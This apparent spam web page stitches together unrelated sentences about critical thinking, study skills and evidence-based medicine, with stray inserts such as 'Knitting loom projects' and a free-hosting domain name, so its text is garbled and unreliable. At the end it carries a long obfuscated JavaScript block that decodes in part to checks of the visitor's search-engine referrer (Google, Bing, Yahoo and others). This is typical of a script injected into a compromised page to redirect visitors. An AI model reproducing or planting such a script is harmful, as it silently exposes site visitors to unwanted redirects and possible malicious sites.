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The author lists three basic characteristics of the skills required to think critically: Arguments , here, are not squabbles between people – though they do evaluate other people’s ideas: In doing so, you’ll be helping us build future resources. Real-World Outcomes Negative Life Events 1. Determine the purpose of the web site in question. Why Libraries Matter PDF. Web sites usually are created with some purpose in mind—some objective of the site owner or host. Student Home Managing Your Program Enrolment Dates for enrolment …. Which of these is the more important consideration? In such cases, a critical reader must be able to recognize that the case is isolated and the results cannot be justifiably generalized to the entire population. Sometimes this is a matter of some conclusions making sense but others going too far. Information Privacy Terms of Use Policies. Moment to moment, most thinking happens automatically. Some of the most breathtaking solutions to problems are astounding not because of their complexity, but because of their elegant simplicity. Historically, teaching of critical thinking focused only on logical procedures such as formal and informal logic. Assessing Critical Thinking October 11, , by The Critical Thinking Co. Everyone thinks; it is our Knitting loom projects nature to do so. How much does the ball cost? While creative thinking implies the opposite, using a divergent approach which will tend to reach a variety of possible results. Students think about almost everything and anything. You’re being critical in the sense of analysing ideas, observations, experience and reasons, exploring the evidence and carefully considering whether something makes sense and is accurate. What support or evidence does the author or speaker give for these conclusions? National Council of Teachers of English. In many cases, consideration of one element from a different perspective will reveal potential dangers in pursuing our decision. Good teachers recognize this and therefore focus on the questions, readings, activities that stimulate the mind to take ownership of key concepts and principles underlying the subject. A person who does NOT tend to think critically would be more likely to agree with the following. Was it something the source saw as an eyewitness? Increasing the numbers of GPs actively using research evidence practising EBM encourages critical enquiry within the discipline and highlights gaps in the evidence. It means not taking what you hear or read at face value, but using your critical faculties to weigh up the evidence, and considering the implications and conclusions of what the writer is saying. Magazines and peer-reviewed journals do have significant differences: The Method of Argument and Heuristic Analysis , Facione and Facione, , California Academic Press. Write your body before your write your introduction and conclusion. Teaching Critical Thinking Skills to Fourth Grade Students Identified as Gifted and Talented Critical Thinking in the Oxford Tutorial Abstract Critical Thinking Instruction in Greater Los Angeles Area High Schools Critical Thinking: As always, the primary test of whether you have comprehended something is whether you can put what you have read or heard into your own words. Viewing Our Development in Stages How to Study and Learn Part One How to Study and Learn Part Two How to Study and Learn Part Three How to Study and Learn Part Four The Art of Close Reading Part One The Art of Close Reading Part Two The Art of Close Reading Part Three Looking To The Future With a Critical Eye:

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They recognize that their interpretations are highly personal and sometimes biased by their own values and preferences. However, the critical thinkers consciously seek the best available research evidence, to appraise and combine with clinical experience and patient values to inform their clinical decision making the principles of evidence based medicine [EBM]. In essence, critical thinking is a disciplined manner of thought that a person uses to assess the validity of something: As listeners and readers, we compare the facts presented by speakers and writers to our own observations. This links-page for Critical Thinking in Education and Life , produced by Craig Rusbult, is http: This Website requires your browser to be JavaScript enabled. More great study tools: Although I value both these things, the second one is higher on my value hierarchy than the first. Book T of C Chap T of C Prev page Next page. For teachers The ideas on this page were discussed in a blog post on edutopia. How to mind map. The Art of Teaching for Intellectual Engagement Conference Theme and sessions Conference on Critical Thinking Main Page Pre-Conference Workshops Annual International Conference archived International Conference Sessions International Conference Theme International Pre-Conference Sessions Preconference Archived International Conference archived Conference Theme archived Prior Conference Programs Pre Workshop Archives Spring Workshop Spring Workshop Strands Spring Workshop Flier Team of Presenters Spring Workshop Spring Workshop Strands Spring Workshops on Critical Thinking SPRING Workshops and Seminars on Critical Thinking Ethical Reasoning Workshop – On Richard Paul’s Teaching Design Engineering Reasoning Workshop Academia sobre Formulando Preguntas Esenciales National Academy on Critical Thinking Testing and Assessment Fellows Academy Archives Fall International Fellows Academy 4th International Fellows Academy – 3rd International Fellows Academy 2nd International Fellows Academy 1st International Fellows Academy Academy Archives Seattle, WA Spring Academy San Diego, CA Spring Academy Spring Academy — Washington D. We look forward to imagining the future with you during the ISTE Convention in sessions and at our booth. This guide introduces the idea of critical thinking for university study. This type of thinking is extremely too difficult to master, but when done well can be very effective. And once you do, you will trust the material that offers more evidence, is more specific and more transparent about the proof being offered. Further evidence for the impact of social experience on the development of critical thinking skills comes from work that found that 6- to 7-year-olds from China have similar levels of skepticism to and year-olds in the United States. Walden Departments, Centers, and Resources Departments Academic Advising Academic Residencies Academic Skills Center Career Services Disability Services Field Experience Library Military Services Student Affairs Student Support Writing Center. How to write a good literature review article? Critical thinkers are skeptical, open-minded, value fair-mindedness, respect evidence and reasoning, respect clarity and precision, look at different points of view, and will change positions when reason leads them to do so. Declaration of Principles on Tolerance, Article 4, 3″. Open the “Elements and Standards” Online Learning Model. Keep An Intellectual Journal. Focus on explaining the topic. What can you do in the short term? In just 15 years, it is predicted that over two billion jobs will disappear, as robots and automation will make jobs such a commercial piloting, legal work, technical writing, telemarketing, accounting, retail work, and real estate sales obsolete. The study found higher scores on the Watson-Glaser, a measure of critical thinking, for nursing students who had graduated from, as compared to students just beginning, a Master’s in Nursing program. Science requires the critical use of reason in experimentation and theory confirmation. Distinguish Problems over which you have some control from problems over which you have no control. Students need to use critical thinking to separate the wheat from the chaff separate what is valuable from what is useless. Critical thinking isn’t just an academic skill, it’s a skill used by highly successful business leaders every day to solve problems, ask questions, and make decisions. McDade describes this method as the teacher presenting a case or story to the class without a conclusion. Critical reading refers to a careful, active, reflective, analytic reading. Is Google a good method for research? Here is an example paragraph from the body of a student’s essay reproduced with permission.

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Be willing to ask “what’s wrong here? Number of Patents 3. A recent study of 72 high school teachers in Hong Kong found that they believe critical thinking is an essential skill that should be part of the curriculum, but that more training is needed on how to teach critical thinking Stapleton, In other words, they have a “show me” or “prove it to me” attitude. Interaction Help About Wikipedia Community portal Recent changes Contact page. Most people live much too much within the view Knitting loom projects of themselves projected by others. For example, you might ask yourself questions like these: For a quick overview, read Characteristics of Critical Thinking which begins with “What is Critical Thinking? If another publication is cited, determine if the publication is reputable, and citations are accurate. Acknowledge uncertainty to self and patients in clinical practice, without forgoing the efforts to decrease uncertainty where feasible and necessary. Jobs and career portal …. Book T of C Chap T of C Prev page Next page. Remember that comprehending something implies that you can go beyond merely parroting the material back but instead that you can give the material your own significance. This is a common mistake that people make from looking at data. Please use the links in the above header to continue browsing the website or you can try finding your destination via FGCU’s Web Search page. Sometimes this is a matter of some conclusions making sense but others going too far. Were they happy or sad, angry or indifferent? You begin to see how important and pervasive social definitions are. The study of undergraduate students at a state university, found that students who scored high on a critical thinking assessment, made fewer errors associated with biased thinking in areas such as probabilistic and causal reasoning. What does critically evaluating mean? Demonstrate flexibility and willingness to change beliefs and practice in the face of new evidence. Petress shows the reader how to analyze definitions of concepts which is a necessary skill in the field of research. Peer Review Is the article peer reviewed? For instance, an author might analyze empirical studies on criminal behavior to draw deeper conclusions about how laws, policies, poverty, or societal influences might affect that behavior, and then suggest changes in policy to address the problems she is examining. Critical thinking is not just about what you think, it’s about what you think and argue. Never put evaluation ahead of the other steps in critical thinking steps; otherwise, you will be guilty of a “rush to judgement. Only once we have fully understood a text critical reading can we truly evaluate its assertions critical thinking. Web Check List PDF. Brief classroom assessment instruments, such as asking students to write down the clearest and most confusing points for them in a class session, can be very helpful for collecting a lot of information quickly about student thinking and understanding. Math Developing Critical Thinking through Science Dr. A faculty-librarian teaching team. Learn about common problems in research that can produce misleading results. Crucial Distinctions A History of Freedom of Thought Reading Backwards: The journalist or author could also be an eyewitness. One of the most important aspects of critical thinking is to decide what you are aiming to achieve and then make a decision based on a range of possibilities. The two areas of knowledge I will be addressing are Natural sciences and the arts. A Necessary Skill in the Age of Spin. Who produced it and what background do you have on how the study was done and what other studies that group might have produced? Although that was more than 20 years ago, not much appears to have changed in terms of high school graduates’ critical-thinking ability. The context and the way in which the research is conducted characterises general practice research rather than the nature of the problem investigated. You’re always questioning whether the ideas, arguments and findings you’re coming across are the whole picture and you’re open to finding that they’re not. Hi there, Thanks for the feedback and for the correction! In its exemplary form, it is based on universal intellectual values that transcend subject matter divisions: Remember that a bias does not necessarily mean the site is inaccurate nor does the absence of bias indicate the site is accurate. Face-to-face or online discussion? Who does he think he is forcing his opinions on me? Critical thinking has a lot to do with being able to identify and analyze the critical assumption.

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Specifically we need to be able to:. In my own first semester of college, I enrolled in a logic course that turned out to be a fortuitous complement to freshman composition. This exercise is a short one that may not always end up in a paper or dissertation chapter, but it is essential for remembering the key points of a text, especially if you are working with numerous sources. Most people live their entire lives as unreflective thinkers. Characteristics of Critical Thinkers For a quick overview, read Characteristics of Critical Thinking which begins with “What is Critical Thinking? Students must thoroughly read all required material before class. Special Needs Skill Development. Characteristics of Critical Thinking Wade identifies eight characteristics of critical thinking. What values are implicit in the message? Demonstrate competence in the use of at least one type of quality improvement measure and the use of this in practice. A Stage Theory Becoming a Critic Of Your Thinking Bertrand Russell on Critical Thinking Richard Paul Anthology Classic Documenting the Problem Intellectual Foundations: Critical thinking involves the use of a group of interconnected skills to analyze, creatively integrate, and evaluate what you read and hear. Critical thinking should not be confused with being argumentative or being critical of other people. Thanks for the effort you put into writing this. Based on the findings, the authors believe that creative idea generation may be heavily influenced by various factors related to fluid reasoning and critical thinking, such as working memory, the ability to focus on relevant aspects of the problem, and abstract thinking ability. What do I already know? While Paul and Elder repeatedly emphasize asking quality questions, they fail to specify what kind of questions to raise Petress, Florida Gulf Coast University FGCU Blvd, South Fort Myers, FL or It seemed like something that my teachers just expected us to pick up in the course of our studies.

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Components of Remodels and Their Functions Strategy List: Critical thinking and research improve patient care in general practice. Mid-level courses in the major require more sophistication, moving students beyond application of concepts and principles to learning and applying theories. Windows Vex Bats’ Echolocating Abilities 1 hour ago — Christopher Intagliata. Postgraduate Information Literacy Online Training Menu Communication Academic networking Creative works Your digital footprint Podcasts Posters Social networking Spelling and grammar Technical writing Webcasts Web pages Summary Copyright UK copyright US copyright Data management Mantra: You can’t really separate critical thinking from creative thinking, for it’s only when you question what is that you can begin to imagine what can be. The growth of technology, sensors, and smart systems will provide oceans of data to allow us to see things on a scale that has never been possible before. The Critical Thinking Bookstore. These are, in the main, associated with the identification of logical flaws in Encourage practice in accurate description and interpretation of behavior by presenting students with ambiguous behavior samples. How to Teach it Effectively Logic of Critical Thinking Ethics of Critical Thinking. The power of these tests, the authors conclude, is that they predict both what an individual can do right now, as well the extent to which an individual is likely to learn and develop in the future. Journal of Electronic Entertainment, 4, 34— The importance of critical thinking Critical thinking is a domain-general thinking skill. Research The underlying factors that caused the spanish american independence evidence is the fundamental way in which routine clinical practice is improved. A Checklist for Staying Focused Every Day ASCD, What are they attempting to make us question while reading it? Beyer , critical thinking means making clear, reasoned judgments. Also, we get fulfillment from the discovery and creativity involved in critical thinking. Critical Thinking We can distinguish between critical reading and critical thinking in the following way: Then ask yourself the following questions: I will explore each of these areas and then offer some general suggestions about how psychology teachers can improve their purposeful pursuit of critical thinking objectives. Have they done any research on this particular situation? Through technology, the amount of information available today is massive. Academic skills Referencing …. And you’re certainly not rubbishing ideas without any back-up to what you say. Write regularly about your own ideas, thoughts and feelings on a topic. Walden Departments, Centers, and Resources Departments Academic Advising Academic Residencies Academic Skills Center Career Services Disability Services Field Experience Library Military Services Student Affairs Student Support Writing Center. From one perspective, it makes sense. Congratulate students who offer good examples of the principles under study. Browse topics in the library catalog: But most of it is dormant; most is undeveloped. Thanks for this great article. Check that the depth of coverage is sufficient, 3. The two areas of knowledge I will be addressing are Natural sciences and the arts. General practice research productivity is far lower than that of other medical disciplines, with an approximate publication rate of three publications per GPs per year compared to about publications per physicians and 68 per surgeons. Good rule of thumb: A person can be good at critical thinking, meaning that the person can have the appropriate dispositions and be adept at the cognitive processes, while still not being a good in the moral sense critical thinker. What is the source of the evidence that backs up the argument?

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Critical thinking allows you to dig under the surface to understand and articulate a subject or point of view. Choose one intellectual traitintellectual perseverance, autonomy, empathy, courage, humility, etc. New York, Bureau of Publications, Teachers College, Columbia University. This taxonomy emphasizes more what we do with our knowledge than examining the quality or nature of what we know. Critical Thinking Skills See Also: Struggling Children Remedial Education. You don’t necessarily know how you feel about a subject or what you want to say about the subject … you allow the research and your own thinking to determine the outcome. Analysis deals with both form and content. Critical thinking makes use of many procedures. Thanks for the positive words, Matthew. Highest order participants are intellectually engaged in the research, understand and feel aligned to its purpose, could describe the project to a third party, and are interested in the results. Is the source scholarly? The final step of critical reading is to articulate your assessment of the text. Analysis involves breaking what you read or hear into its component parts, in order to make clear how the ideas are ordered, related, or connected to other ideas. One of the simpler ways to identify potential bias is to examine the connection between the author and the subject. All of these are signs that the publisher is mindful of the null habanews.000webhostapp.com hypothesis, or that an alternative thesis might be as good or a better explanation. A good example here is the ongoing debate on child care, and whether mothers are better off at home looking after their children themselves. Facebook Twitter Pinterest YouTube LinkedIn Blog. Contemporary cognitive psychology regards human reasoning as a complex process that is both reactive and reflective. When you have done your critical thinking, analysis and evaluation the next step is to bring your ideas together and develop a reasonable response in your view for your assignment. This model is discussed in steps or stages. Regardless of their sophistication in the discipline, students often are armed with a single strategy to survive the experience: How many Elvis sightings can be valid in one year? For example, why did the Mercury News decide to run the editorial above? Brehm – Indiana University Saul Kassin – Williams College Steven Fein – Williams College. In other words, all the critical thinking instruction in the world will not help people distinguish between true and false claims if they do not have a grasp of what constitutes scientific evidence. NOT Clinton not Hillary: It allows you to determine how to arrive at a decision and how you feel or think about the essential aspects of any topic. How will we ensure that all students have opportunities to develop and hone their critical thinking skills? I found that A level was a bit like GCSE in a sense, in that you had to jump through hoops and you had clear like learning objectives. Generate new ideas [Brainstorm; write down every idea that comes up without initial criticism; experiment with ideas opposite to those normally considered; ask questions; consider other perspectives; draw diagrams and pictures to clarify plans. Get in touch with your emotions. The intellectual traits are dispositions of mind embodied by the fairminded critical thinker. Third, going through this sequence of steps should lead you to a better understanding of the material and to wiser conclusions. You begin to redefine situations in ways that run contrary to some commonly accepted definitions. Cooperative learning and critical thinking. They are keenly aware of the inherently flawed nature of human thinking when left unchecked. Or was it not there? You can learn more here. Domestic violence linked to violent videogames. From one perspective, it makes sense. Check the requirements of your courses What are the lecturers’ expectations of their students? It helps you examine a problem or issue from many angles to arrive at the best possible solution. SSOP, Washington, DC Journal of Mass Media, 4 3 , 1— The Practicing Thinker we recognize the necessity of regular practice Stage Five:

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Luckily, your college library pays for the students to have access to it. The proper functioning of a liberal democracy requires citizens who can think critically about social issues to inform their judgments about proper governance and to overcome biases and prejudice. What was their evidence? As part of our research, we have identified the following components of critical thinking that you can see below. Critical thinking involves the ability to analyze and assess information gathered through observations, reasoning, discussions with others, reflection or experience. The majority of experts maintain that critical thinking conceived of as we have described it above, is, regrettably, not inconsistent with its unethical use. Finally, I like using Google as a “brainstorming” tool. Check if the scope of coverage of the topic is adequate for your research needs. Ignores or superficially evaluates obvious alternative points of view; maintains or defends views based on self-interest or preconceptions with little regard for evidence; unable to explain how different conclusions could be reached. Or take a very specific assertion implicit in the discussion and explore it further by applying the five steps to that assertion. In a field of five qualified candidates — Cindy Chavez, Dave Cortese, Chuck Reed, Michael Mulcahy and David Pandori — no one meets all these qualifications. Then we can appraise this information in order to decide whether you can give or withhold belief, and whether or not to take a particular action. Share them in the comments. A leader who can articulate a vision for a better San Jose and a path for getting there. Critical thinking skills for college students. Critical thinking enters into important decisions in your daily life and affects your growth process in school and work. Review the list of dispositions that are characteristic of critical thinkers. You’re identifying, analysing and, where possible, solving problems systematically. This is one example of how Petress applies a critical analysis of one of the sources he uses. Have sound skills in evidence gathering eg. Beyond critical thinking C Nurses can also engage their critical thinking skills through the Socratic method of dialogue and reflection. They want us to excel on our own, to go beyond what is currently known,.

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Strategies for critical thinking – Study Guides and Strategies website opens in new window. For example, William James told philosophy students to “cultivate the habit of seeing the alternative” in the s. The result of evaluation can range from positive to negative, from acceptance to rejection or anything in-between. Throughout the text, the authors have tried to stimulate your own thinking. A missing link in the teaching of critical thinking. Great post and remarks surrounding critical thinking! In fact, it could be a coincidence. Authority and Authorship A. Click here for the chapter 01 table of contents. To translate this article, contact permissions ascd. Understand the importance of, and have, the ability to continually evaluate and reflect on performance in clinical and nonclinical practice both individually and with peers and within primary care teams and use appropriate methods to implement and evaluate change where necessary, including in settings of quality improvement. Critical thinking skills for college students. Sometimes we spend time regretting what is past. Related Links Link to another article goes here Link to another article goes here Link to another article goes here Link to another article goes here. How to Use Critical Thinking in Your Essay and Write Smarter. US and UK studies found no link between critical thinking and clinical decision making while Korean research identifies a positive correlation. Stepping away from the podium and engaging the students to perform what they know necessitates some loss of control, or at least some enhanced risk.

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About the Author Jennifer Kobrin, Ed. Here are some samples:. However, each of these activities must be conducted according to the established ‘rules’ of the research process in order to be considered research. Related Links Link to another article goes here Link to another article goes here Link to another article goes here Link to another article goes here. Elements of Critical Thinking. If there be none, then never mind it. In the first case, you are thinking reactively and in the second, you are thinking critically. Always use information that is up-to-date, especially when it comes to scientific or medical reviews and journals. An inadequate formulation of question can produce misleading or incomplete answers. Famous quotes Quote of the page To raise new questions, new possibilities, to regard old problems from a new angle requires creative imagination and marks real advances in science. Magazines and peer-reviewed journals do have significant differences:. Share It Tweet It Pin It. Consider the following word problem: Demonstrate awareness of external influences on one’s practice eg. Doing college level work without thinking critically is a lot like walking blindfolded: Always be on the lookout for questions that have not been answered in the textbooks, by the experts in the field or by the media. Declaration of Principles on Tolerance, Article 4, 3″. CATS Classroom Assessment Techniques: Careers Support Contact Us Other Pearson Sites. Are they right in what they say? The research behind critical thinking is rock solid. Need to Know newsletter The smart way to start your day Each morning we scour the web for fresh useful insights in our Need to Know newsletter. Deep reading is also the exploration of the historical, biographical, and political context in which a literary text was written to explain or understand its subtext. Citing and referencing quiz Referencing and plagiarism quiz APA style Harvard style Chicago style MHRA style MLA style Numerical style Vancouver style Referencing software Guidance from schools Academic integrity and avoiding plagiarism Plagiarism Collusion Other types of misconduct Consequences of academic misconduct Revision and exams Planning and using revision time effectively Revision strategies and memory techniques Exam writing techniques Using lecture recordings Personal development and employability Time management How good are you at managing your time Being an organised student Prioritising tasks Planning your time Dealing with distractions Employability and skills. SCQF level descriptors PDF. At a minimum, you will ask why the commission came to that conclusion. Get Involved Membership Educator Advocates Affiliates Connected Communities Student Chapters Professional Interest Communities InService Blog. The statements you use should also have some basis in logic. What is there beyond the facts? I’m concerned with helping you win big in college. The chicken lays the egg, after all. Do these sources disagree? Some of these patterns of reasoning may be rather sophisticated, perhaps even non-intuitive. These are, in the main, associated with the identification of logical flaws in Alternating Currents in One Teacher’s Thinking”. By continuing to browse the site you are agreeing to our use of cookies in accordance with our Cookie Policy. Is the information the same or different from claims made by others? In addition to possessing strong critical-thinking skills, one must be disposed to engage problems and decisions using those skills. Is the evidence a document? This and More in Our eBook Buy Now. They may be guessing. To raise new questions, new possibilities, to regard old problems from a new angle requires creative imagination and marks real advances in science.

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,55,51,57,50,53,56,113,72,84,77,76,60,34,48,112,47,119,63,38,95,43,85,67,75,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{}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